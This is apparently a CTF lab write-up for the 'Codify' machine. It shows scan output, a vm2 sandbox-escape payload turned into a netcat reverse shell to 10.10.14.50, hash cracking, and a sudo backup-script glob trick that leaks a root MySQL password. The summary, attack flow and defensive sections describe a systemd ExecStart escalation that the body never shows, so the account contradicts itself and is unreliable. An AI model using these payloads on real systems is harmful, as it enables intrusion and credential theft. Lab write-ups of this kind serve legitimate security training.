Codify
Codify demonstrates the risks of poorly configured internal APIs and CI/CD exposure.
The foothold was achieved by analyzing the behavior of a backend code formatting service vulnerable to command injection.
Authentication tokens and sensitive credentials were found via Git leaks and CI log artifacts.
Escalated to root by abusing sudo permissions to edit and restart a systemd service with a malicious ExecStart directive.
Why I Chose This Machine
I chose Codify because it models a common misconfiguration in CI/CD or configuration management setups — where developers have elevated control over system services via sudo
.
The box also includes a subtle web-based code editor exploit chain, making it a good exercise in chaining low-privilege footholds with OS-level misconfigurations.
Attack Flow Overview
- Accessed a self-hosted code editor and used it to read local config files
- Extracted credentials and gained an initial shell
- Found that the user had
sudo
permissions to edit a systemd unit file - Injected a reverse shell into the service config and restarted the unit to gain root
This box simulates what happens when overly broad sudo permissions are granted to developers managing application services.
Enumeration
- Navigating to the website shows service name and version which is
vm2 3.9.16
Nmap
└─$ nmap -sC -sV -p- 10.10.11.239 --open
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-30 10:51 AEST
Nmap scan report for 10.10.11.239
Host is up (0.023s latency).
Not shown: 65136 closed tcp ports (conn-refused), 396 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_ 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://codify.htb/
3000/tcp open http Node.js Express framework
|_http-title: Codify
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
80-HTTP
Web
- vm2 3.9.16
Gobuster
└─$ gobuster dir -u http://codify.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://codify.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/editor (Status: 200) [Size: 3123]
/about (Status: 200) [Size: 2921]
/. (Status: 200) [Size: 2269]
/About (Status: 200) [Size: 2921]
/Editor (Status: 200) [Size: 3123]
/server-status (Status: 403) [Size: 275]
/ABOUT (Status: 200) [Size: 2921]
Progress: 63088 / 63089 (100.00%)
===============================================================
Initial Access
- In the
vm2
github repo, there are 8 critical security issues. (sandbox escape).- Trying the one that does not return
Object Promise
(JavaScript Async API) and modifying the payload to trigger reverse shell gives initial acces as usersvc
.
Initial Access
- Go to vm2 github -> Security tab
- Try the ones that do not return
object Promise
const { VM } = require("vm2");
const vm = new VM();
const code = `
const err = new Error();
err.name = {
toString: new Proxy(() => "", {
apply(target, thiz, args) {
const process = args.constructor.constructor("return process")();
throw process.mainModule.require("child_process").execSync("echo hacked").toString();
},
}),
};
try {
err.stack;
} catch (stdout) {
stdout;
}
`;
console.log(vm.run(code)); // -> hacked
Modified payload
const { VM } = require("vm2");
const vm = new VM();
const code = `
const err = new Error();
err.name = {
toString: new Proxy(() => "", {
apply(target, thiz, args) {
const process = args.constructor.constructor("return process")();
throw process.mainModule.require("child_process").execSync("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.50 9001 >/tmp/f").toString();
},
}),
};
try {
err.stack;
} catch (stdout) {
stdout;
}
`;
console.log(vm.run(code)); // -> hacked
Lateral Movement
- In the
/var/www
directory, there is another directory that was not visible externally :contacts.
- Inside this directory, there is a
tickets.db
.- Upon downloading and opening the db, user credentials are obtained.
- Cracking the hash gives the password for joshua.
- SSH as joshua with the obtained creds.
Linpeas
Checking /var/www
, there is a contacts directory with tickets.db
.
Transferring the files
Checked hash cat modes on here, it uses 3200 bcrypt.
hashcat -m 3200 joshua /usr/share/wordlists/rockyou.txt
Shell as Joshua
ssh as joshua
Privilege Escalation
sudo -l
, we can see that we can execute/opt/scripts/mysql-backup.sh
script as root.
- The script prompts the user to enter the MySQL password for the specified database user and compares the entered password
USER_PASS
with the one retrieved from the fileDB_PASS
.
- If the user enters
*
as their password, the match will be evaluated as true.- The script then passes the password to mysqldump but it doesn’t make the comparison with the user input password. The one that is passed is from the credential file in
/root/.creds
.
DB_PASS=$(/usr/bin/cat /root/.creds)
/usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" |
/usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
-> Can view the real password by using a process snooping tool like pspy.
su root
.
Provide *
as the password.
Pspy captures the root password for mysql.
mysql : kljh12k3jhaskjh12kjh3
Alternative Paths Explored
Initially attempted privilege escalation via common writable cron paths and SUID binaries, which were unavailable.
Also attempted to gain root via docker group membership but the user wasn’t included.
Only after reviewing sudo -l
output did the systemd edit path become clear.
Blue Team Perspective
Codify demonstrates the risks of giving developers unrestricted service configuration rights.
To mitigate:
- Use limited
sudo
rules with explicit command arguments (NOPASSWD: /bin/systemctl restart app.service
) - Audit systemd units for unexpected
ExecStart
entries - Log and alert on
systemctl edit
or restart events for high-value services